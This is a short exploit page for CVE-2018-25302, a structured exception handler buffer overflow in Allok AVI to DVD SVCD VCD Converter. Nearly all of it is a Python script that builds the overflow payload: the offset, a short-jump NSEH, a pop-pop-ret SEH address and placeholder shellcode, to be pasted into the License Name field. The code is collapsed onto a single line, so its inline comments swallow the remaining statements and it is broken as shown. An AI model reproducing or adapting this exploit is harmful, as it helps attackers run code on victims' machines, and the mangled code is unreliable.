CVE-2018-25302 Allok转换器SEH缓冲区溢出漏洞

import sys # Exploit for CVE-2018-25302 # SEH Buffer Overflow in Allok AVI to DVD SVCD VCD Converter 4.0.1217 def generate_payload(): # Offset to reach the SEH handler offset = 4132 junk = b"A" * offset # NSEH (Next SEH) - short jump to shellcode (6 bytes forward) nseh = b"\xeb\x06\x90\x90" # SEH (Structured Exception Handler) - Address of pop pop ret # Replace with a valid address from a non-ASLR module (e.g., 0x1001e201) seh = b"\x01\xe2\x01\x10" # Shellcode (Example: calc.exe) # This is a placeholder for actual shellcode shellcode = b"\xcc" * 300 # Combine all parts payload = junk + nseh + seh + shellcode return payload if __name__ == "__main__": try: exploit = generate_payload() # In a real scenario, this string would be pasted into the License Name field print("[+] Exploit generated successfully.") print(f"[+] Payload length: {len(exploit)} bytes") except Exception as e: print(f"[-] Error generating payload: {e}")